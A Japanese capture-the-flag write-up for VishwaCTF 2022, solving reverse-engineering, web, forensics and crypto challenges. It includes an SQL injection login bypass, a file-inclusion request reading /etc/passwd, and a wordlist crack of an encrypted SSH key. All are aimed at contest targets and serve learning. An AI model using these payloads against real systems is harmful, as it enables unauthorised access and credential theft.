VishwaCTF 2022 Writeup

この大会は2022/3/19 19:30(JST)~2022/3/21 19:30(JST)に開催されました。
今回もチームで参戦。結果は8951点で748チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

Flag Format (Welcome)

問題にフラグが書いてあった。

vishwactf{this_is_the_flag}

Discord (Welcome)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

vishwaCTF{welcometovishwaCTF}

Trivia 1 (General)

Offensive Security によって管理されているLInuxディストリビューションを答える問題。
Googleで以下のキーワードで検索すると、Kali Linuxであることがわかる。

Debian-derived Linux Offensive Security
vishwaCTF{Kali_Linux}

Trivia 2 (General)

コンピュータでウイルスという用語を作り出した人の名前を答える問題。
Googleで以下のキーワードで検索すると、Frederick Cohenであることがわかる。

coined the term virus in computer
vishwaCTF{Frederick_Cohen}

Trivia 3 (General)

Windows 95のファイルに感染した最初のウイルスを答える問題。
Googleで以下のキーワードで検索すると、Bozaであることがわかる。

first virus to infect Windows 95 files
vishwaCTF{Boza}

The Threat Royale (Threat Royale)

CTFTIMEのVishwaCTF 2022のページにリンクされているThe Threat RoyaleのGoogleアンケートフォームでアンケートに答えたら、フラグが表示された。

vishwactf{thankyouforregistering}

OverCook (Reverse Engineering)

$ gdb -q ./vuln
Reading symbols from ./vuln...done.
gdb-peda$ i func
All defined functions:

File vuln.c:
void getMessage();
int main(int, char **);
int printflag();

Non-debugging symbols:
0x00001000  _init
0x00001030  printf@plt
0x00001040  gets@plt
0x00001050  exit@plt
0x00001060  __libc_start_main@plt
0x00001070  __cxa_finalize@plt
0x00001080  _start
0x000010c0  __x86.get_pc_thunk.bx
0x000010d0  deregister_tm_clones
0x00001110  register_tm_clones
0x00001160  __do_global_dtors_aux
0x000011b0  frame_dummy
0x000011b5  __x86.get_pc_thunk.dx
0x00001360  __libc_csu_init
0x000013c0  __libc_csu_fini
0x000013c1  __x86.get_pc_thunk.bp
0x000013c8  _fini
gdb-peda$ start

[----------------------------------registers-----------------------------------]
EAX: 0xf7fafdd8 --> 0xffffd03c --> 0xffffd211 ("CLUTTER_IM_MODULE=xim")
EBX: 0x56559000 --> 0x3efc 
ECX: 0xffffcfa0 --> 0x1 
EDX: 0xffffcfc4 --> 0x0 
ESI: 0xf7fae000 --> 0x1d4d8c 
EDI: 0x0 
EBP: 0xffffcf88 --> 0x0 
ESP: 0xffffcf80 --> 0xffffcfa0 --> 0x1 
EIP: 0x565561d3 (<main+26>:	call   0x565561e2 <getMessage>)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565561c7 <main+14>:	push   ecx
   0x565561c8 <main+15>:	call   0x565560c0 <__x86.get_pc_thunk.bx>
   0x565561cd <main+20>:	add    ebx,0x2e33
=> 0x565561d3 <main+26>:	call   0x565561e2 <getMessage>
   0x565561d8 <main+31>:	sub    esp,0xc
   0x565561db <main+34>:	push   0x0
   0x565561dd <main+36>:	call   0x56556050 <exit@plt>
   0x565561e2 <getMessage>:	push   ebp
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcf80 --> 0xffffcfa0 --> 0x1 
0004| 0xffffcf84 --> 0x0 
0008| 0xffffcf88 --> 0x0 
0012| 0xffffcf8c --> 0xf7df1fa1 (<__libc_start_main+241>:	add    esp,0x10)
0016| 0xffffcf90 --> 0xf7fae000 --> 0x1d4d8c 
0020| 0xffffcf94 --> 0xf7fae000 --> 0x1d4d8c 
0024| 0xffffcf98 --> 0x0 
0028| 0xffffcf9c --> 0xf7df1fa1 (<__libc_start_main+241>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, main (argc=0x1, argv=0xffffd034) at vuln.c:12
12	vuln.c: そのようなファイルやディレクトリはありません.

printflag()関数をコールしてみる。

gdb-peda$ call printflag()

114 
051 
118 
101 
114 
115 
049
110
103
095
100
117
100
051
$1 = 0x0

ASCIIコードが出力されたので、デコードしてみる。

>>> codes = [114, 51, 118, 101, 114, 115, 49, 110, 103, 95, 100, 117, 100, 51]
>>> ''.join([chr(code) for code in codes])
'r3vers1ng_dud3'
vishwaCTF{r3vers1ng_dud3}

Take Your Time (Reverse Engineering)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  time_t tVar1;
  uint local_74;
  uint local_70;
  uint local_6c;
  char local_68 [80];
  uint local_18;
  uint local_14;
  uint local_10;
  uint local_c;
  
  tVar1 = time((time_t *)0x0);
  local_10 = (uint)tVar1;
  srand(local_10);
  local_14 = rand();
  local_c = (local_14 - 3) * 3;
  if ((local_c & 1) != 0) {
    local_c = local_c - 1;
  }
  local_18 = (int)local_c / 2 + 7;
  puts("Guess The numbers that i am thinking...");
  printf("Enter first number: ");
  __isoc99_scanf(&DAT_00102045,&local_6c);
  printf("Enter second number: ");
  __isoc99_scanf(&DAT_00102045,&local_70);
  printf("Enter third number: ");
  __isoc99_scanf(&DAT_00102045,&local_74);
  if (((local_14 == local_6c) && (local_c == local_70)) && (local_18 == local_74)) {
    itachi();
  }
  else {
    puts("wrong guess ");
    sprintf(local_68,"%d %d %d %d",(ulong)local_10,(ulong)local_14,(ulong)local_c,(ulong)local_18);
    puts(local_68);
  }
  return 0;
}

現在時刻をseedにしてランダム値を算出している。別プログラムで算出した結果を入力する。

$ cat solve.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

void main(){
    time_t tVar1;
    unsigned int local_18;
    unsigned int local_14;
    unsigned int local_10;
    unsigned int local_c;

    tVar1 = time((time_t *)0x0);
    local_10 = (uint)tVar1;
    srand(local_10);
    local_14 = rand();
    local_c = (local_14 - 3) * 3;
    if ((local_c & 1) != 0) {
        local_c = local_c - 1;
    }
    local_18 = (int)local_c / 2 + 7;
    printf("%d\n", local_14);
    printf("%d\n", local_c);
    printf("%d\n", local_18);
}
$ gcc solve.c -o solve
$ ./solve
1916668937
1455039506
727519760

$ ./revme
Guess The numbers that i am thinking...
Enter first number: 1916668937
Enter second number: 1455039506
Enter third number: 727519760
t!m3_!5_m0n3y
vishwaCTF{t!m3_!5_m0n3y}

Corrupted Image (Reverse Engineering)

BMPの先頭2バイトが壊れているので、修正すると、修正した画像にフラグが書いてあった。
f:id:satou-y:20220328071036j:plain

VishwaCTF{Windows.lul}

My Useless Webiste (Web)

ログイン画面のページで、おそらくSQLインジェクションの問題。ただし、HTMLソースコードを見ると、スペース文字は使用できない。
以下の情報でログインすると、フラグが表示された。

username: '/**/or/**/1=1/**/--
password: a
VishwaCTF{I_Kn0w_Y0u_kn0W_t1hs_4lr3ady}

Stock Bot (Web)

HTMLソースを見ると、"flag"を含むメッセージの送信はできない。他のメッセージの場合、/Products/check.php?product=?+msgにアクセスしているようだ。
https://st0ck-b0t.vishwactf.com/Products/check.php?product=/etc/passwdにアクセスする。

{"Quantity":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nsync:x:5:0:sync:\/sbin:\/bin\/sync\nshutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\nhalt:x:7:0:halt:\/sbin:\/sbin\/halt\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\ngames:x:12:100:games:\/usr\/games:\/sbin\/nologin\nftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\nnobody:x:65534:65534:Kernel Overflow User:\/:\/sbin\/nologin\ntss:x:59:59:Account used for TPM access:\/dev\/null:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\nsystemd-coredump:x:999:997:systemd Core Dumper:\/:\/sbin\/nologin\nsystemd-resolve:x:193:193:systemd Resolver:\/:\/sbin\/nologin\ndefault:x:1001:0:Default Application User:\/opt\/app-root\/src:\/sbin\/nologin\napache:x:48:48:Apache:\/usr\/share\/httpd:\/sbin\/nologin\nnginx:x:998:995:Nginx web server:\/var\/lib\/nginx:\/sbin\/nologin\n"}

https://st0ck-b0t.vishwactf.com/Products/check.php?product=check.phpにアクセスする。

{"Quantity":"<?php \n\n    if(isset($_GET['product'])){\n        $product = $_GET['product'];\n        header('Content-type: application\/json');\n        if(strpos($product,'Flag')){\n            $data = array('Flag' => file_get_contents($product));\n        }\n        else{\n            $data = array('Quantity' => file_get_contents($product));\n        }\n        echo json_encode($data);\n    }\n\n?>"}

https://st0ck-b0t.vishwactf.com/Products/check.php?product=Flagにアクセスする。

{"Quantity":"VishwaCTF{b0T_kn0w5_7h3_s3cr3t}"}
VishwaCTF{b0T_kn0w5_7h3_s3cr3t}

Request Me FLAG (Web)

HTTPのリクエストメソッドとしてFLAGを指定して、リクエストしてみる。

$ curl https://r3qu35t-m3-fl4g.vishwactf.com/ -X FLAG -v
*   Trying 54.191.48.192...
* TCP_NODELAY set
* Connected to r3qu35t-m3-fl4g.vishwactf.com (54.191.48.192) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Unknown (8):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Client hello (1):
* TLSv1.3 (OUT), TLS Unknown, Certificate Status (22):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=*.vishwactf.com
*  start date: Feb 16 04:32:25 2022 GMT
*  expire date: May 17 04:32:24 2022 GMT
*  subjectAltName: host "r3qu35t-m3-fl4g.vishwactf.com" matched cert's "*.vishwactf.com"
*  issuer: C=US; O=Let's Encrypt; CN=R3
*  SSL certificate verify ok.
* TLSv1.3 (OUT), TLS Unknown, Unknown (23):
> FLAG / HTTP/1.1
> Host: r3qu35t-m3-fl4g.vishwactf.com
> User-Agent: curl/7.58.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS Unknown, Unknown (23):
< HTTP/1.1 200 OK
< date: Mon, 21 Mar 2022 07:45:53 GMT
< server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k
< flag: VishwaCTF{404_1s_ju57_4n_i11u5ion}
< content-length: 0
< content-type: text/html; charset=UTF-8
< set-cookie: ba7325290a5d689b518b8e038a3c7439=1241d4c0fb9ad64b803f19e348d6f46c; path=/; HttpOnly; Secure; SameSite=None
< 
* Connection #0 to host r3qu35t-m3-fl4g.vishwactf.com left intact

レスポンスヘッダのflagにフラグが設定されていた。

VishwaCTF{404_1s_ju57_4n_i11u5ion}

Strong Encryption (Web)

暗号化処理は以下の通り。

・$Key: "VishwaCTF"の各文字のASCIIコードに69プラスした値を文字列として結合。
 →"155174184173188166136153139"
・$tmpKey: "VishwaCTF"の各文字のASCIIコードに69プラスした値をASCIIコードとして文字にして結合。
・$rKeyHex: 69を16進表記
 →"45"
・$enKeyHash: $tmpKeyのsha256
 →2f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7
・フラグの各文字のASCIIコードにkeyの各数値を足し、16進表記で結合
 さらに$rKeyHexと$enKeyHashを結合
 →暗号化データ

以上のことを元に復号する。

#!/usr/bin/env python3
Key = '155174184173188166136153139'
rKeyHex = '45'
enKeyHash = '2f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7'
encTxt = '576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982452f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7'

assert encTxt[-len(enKeyHash):] == enKeyHash
assert encTxt[-len(enKeyHash)-len(rKeyHex):-len(enKeyHash)] == rKeyHex

strHex = encTxt[:-len(enKeyHash)-len(rKeyHex)]

flag = ''
for i in range(len(strHex) // 2):
    code = int(strHex[i*2:i*2+2], 16) - int(Key[i%len(Key)])
    flag += chr(code)
print(flag)
VishwaCTF{y0u_h4v3_4n_0p_m1nd}

The Last Jedi (Forensic)

jpgの後ろに、ダミーのフラグテキスト、その後ろにrarがくっついていた。rarを切り出し、解凍すると、jpgファイルが展開される。展開されたjpgファイルの末尾に以下のように書いてある。

flag:{H1DD3N_M34N1NG}
vishwactf{H1DD3N_M34N1NG}

So Forgetful! (Forensic)

HTTPでフィルタリングする。No.112パケットにPOSTしている情報がある。

Form item: "userid" = "spiveyp"
Form item: "pswrd" = "S04xWjZQWFZ5OQ=="
$ echo S04xWjZQWFZ5OQ== | base64 -d
KN1Z6PXVy9
vishwactf{KN1Z6PXVy9}

John the Rocker (Cryptography)

$ file idrsa.id_rsa.docx 
idrsa.id_rsa.docx: PEM RSA private key
$ cat idrsa.id_rsa.docx 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,115D424076ADCE7E40ACC1E44E4E791A
 
flkT1+aCoQZ4YBHg2VRW3x4HzlEKFwqQ+ePMzEi2BIREHXDtHR1+QUrYRSQLzP4E
jDSkmPWPoTvTXRAyXKrQL8FzkvYDcP9hjkzt41tjsRHz2nkI9K+WFm8DNi6qVS9H
J/yWZdvUED6XwwxTFe6D01GwU7yc7xheE4GlIBazk68Q0tNuH34H8T+hnfkTyNA6
BJL861zNhZNIoWm/352vYydnT/HynugCGn+TIu88C+tLBpcLdLSh50OgTiZ8QK2A
Z82PoPfD1ziVmg7E4BIY1/1qJnNxCMTzUG4PbjLpdkRxHu5aOGzbGZK4K0inDNfr
B7ZedUOCSUTN0VGl5/spDO506vSOjzGL9/iDhYNBRvn4hW3VlPE6nRXAQ78r4Z49
ou0r2x7WvzrpFOPXjvlNHUFyWF9x5ZWsqNnr3PFL2wlCVvGq2z/mWvFdmy0tr6nV
FjEpOwrKMt0hvTcCwry8FKAyPDFafpZq4fg90Jd9xCYWJIZMxuEPOY0jfcSC7QOy
woOhMMCFA3mbJJWOAOKynZdx/7fe/0+Q0XMlljDNXNGNqKRqS9OUhKH967FYxw4W
AQHrN2NdT5WoXJhbDu67Z2jb89LAFR+uBlaxauLSYEFatKmAp/IXR4yTX4yn6Ur2
mlrJ6abOjmi+/LcvMN+qCx7pB//MR2HUxcOWdgA5nuXiYBdiSKj8h0Sq3IVVjDFd
Oj1t0D9m6AUsV32qbiXwiiCkOOMHVZH+6sc1ZMKNwR1WGvFBNyR0DVxlXAzyR7zP
nRUXCLihj696lm+Ywe6xsDOPJMl4RHOAvf+cj3fkI3WKhfhTUhoLrEZmIFDNhKrn
JCe4m9p+aNuPSuXL07bxKbYT6D4wlVE4OlkwZyAfc5R/cfE5JYFgwoIW5RJC9nh1
ru/aBj+464986pteEfI0e3nAuDquEvs37Oxv77n/AdW7QmySIb7RrpUfOCcq+rBt
4zg1cS5i2TX1l25h036E45Rn+efM9QBKQEChhgqfLZ9rbQqqm1coOok4sZZ1tWap
7352duKI9fzMq35P9u4T168sYSvZoa2hK7eZZ3KA/MK8u6B1yFiB1E2rEZGnVeOU
KLt1IFxygxZl9yO5yb4pa8tl6yKO46+OYmCe9ie7FkOEeq85a0xm0OB3HVxL/40/
116u2fJCRoDBjNZ1J4ujYwYUpWEfVoN26KRRiyRMJbHX9QwuW6k+b1OjLgjU2IaR
4BgG6xBTmM3fRQZhWbJ+06ibWDcIRdZOP02iksp/LdJtqtuYIWf2epUx3oBMrSN/
bFDUmLDzfSUCvz4MdZNp8FE1ElM2NK9PWYPe3XA5lzjkl9jxWD7M4WKLTjQJu9P0
PB4x+nHPj5j6XONZ74IbM1f7S4oRuhBCs5hPMgxDr7xSa0ROFsTauCeQ6N22JwIk
GzMpmzBzJtL5/SzFCuN148sMUOASnXLSYd79dB15M0nVRo6Iz9mytF/QVuci+8h+
6luGQBgih+L5ghx1qvUXwNyU+Id9fZYRA8pH2hy5pPWVsaws/1cLOc5PBzOaql7G
90iM4IyzSN2AO8/6HnSJ9tZSCG5cdRq+r1ROF30QnvnUowsbq0eeT4TVfb+kCaHx
-----END RSA PRIVATE KEY-----

添付ファイルはSSH秘密鍵で、問題のタイトルからもクラックすればよさそう。

$ ssh2john.py idrsa.id_rsa.docx > hash.txt
$ john --wordlist=dict/rockyou.txt hash.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
!!**john**!!     (idrsa.id_rsa.docx)
1g 0:00:02:35 DONE (2022-03-19 22:40) 0.006449g/s 1506Kp/s 1506Kc/s 1506KC/s Aaaaasing..Aaaaaaaaaaaaing
Session completed
vishwactf{!!**john**!!}

JumbleBumble (Cryptography)

nが大きく、eが小さいため、Low Public-Exponent Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

with open('JumbleBumble.txt', 'r') as f:
    lines = f.read().splitlines()

cs = []
for i in range(0, len(lines), 4):
    c = int(lines[i+2])
    cs.append(c)

for c in cs:
    m, success = gmpy2.iroot(c, 4)
    if success == False:
        print('Error')
    else:
        flag = long_to_bytes(m).decode()
        if flag.startswith('VishwaCTF'):
             print(flag)
             break
VishwaCTF{c4yp70gr2phy_1s_n07_e25y}

Tallest Header (Cryptography)

$ binwalk file.extension 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
19545         0x4C59          Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns
20155         0x4EBB          Copyright string: "CopyrightFlag="true" photoshop:Country="Italy" photoshop:DateCreated="2019-12-18" photoshop:Credit="AFP via Getty Images" photos"
24773         0x60C5          Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
269644        0x41D4C         Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 412, name: encrypt.py
269873        0x41E31         Zip archive data, at least v2.0 to extract, compressed size: 69, uncompressed size: 69, name: info.txt
270090        0x41F0A         End of Zip archive

$ foremost file.extension 
Processing: file.extension
|foundat=encrypt.py}�M
�0���wBb�[����N4Ӑ�`oo�ژ�8�y3���4(
foundat=info.txtkey = [2,1,3,5,4]

ciphertext = RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N0PK
*|

zipを抽出でき、展開すると、それぞれファイルにはこう書いてあった。

■info.txt
key = [2,1,3,5,4]

ciphertext = RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N0

■encrypt.py
def encrypt(key, plaintext):
    plaintext = "".join(plaintext.split(" ")).upper()
    ciphertext = ""
    for pad in range(0, len(plaintext) % len(key) * -1 % len(key)):
        plaintext += "X"
    for offset in range(0, len(plaintext), len(key)):
        for element in [a - 1 for a in key]:
            ciphertext += plaintext[offset + element]
        ciphertext += " "
    return ciphertext[:-1]

info.txtを前提に暗号化する処理の概要は以下の通り。

・スペース削除し、大文字にする。
・文字列長が5の倍数になるよう"X"でパディングする。
・5文字ごとにkeyの順番になるよう転置する。

このことを前提に復号する。

#!/usr/bin/env python3
def decrypt(key, ciphertext):
    ct = ciphertext.split(' ')
    pt = ''
    for c in ct:
        p = ''
        for k in key:
            p += c[k - 1]
        pt += p
    return pt.rstrip('X')

key = [2, 1, 3, 5, 4]
ciphertext = 'RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N0'

plaintext = decrypt(key, ciphertext)
print(plaintext)

復号結果は以下の通り。

TR1CKY_H34D3R_W1TH_P3RMU7AT10N
VishwaCTF{TR1CKY_H34D3R_W1TH_P3RMU7AT10N}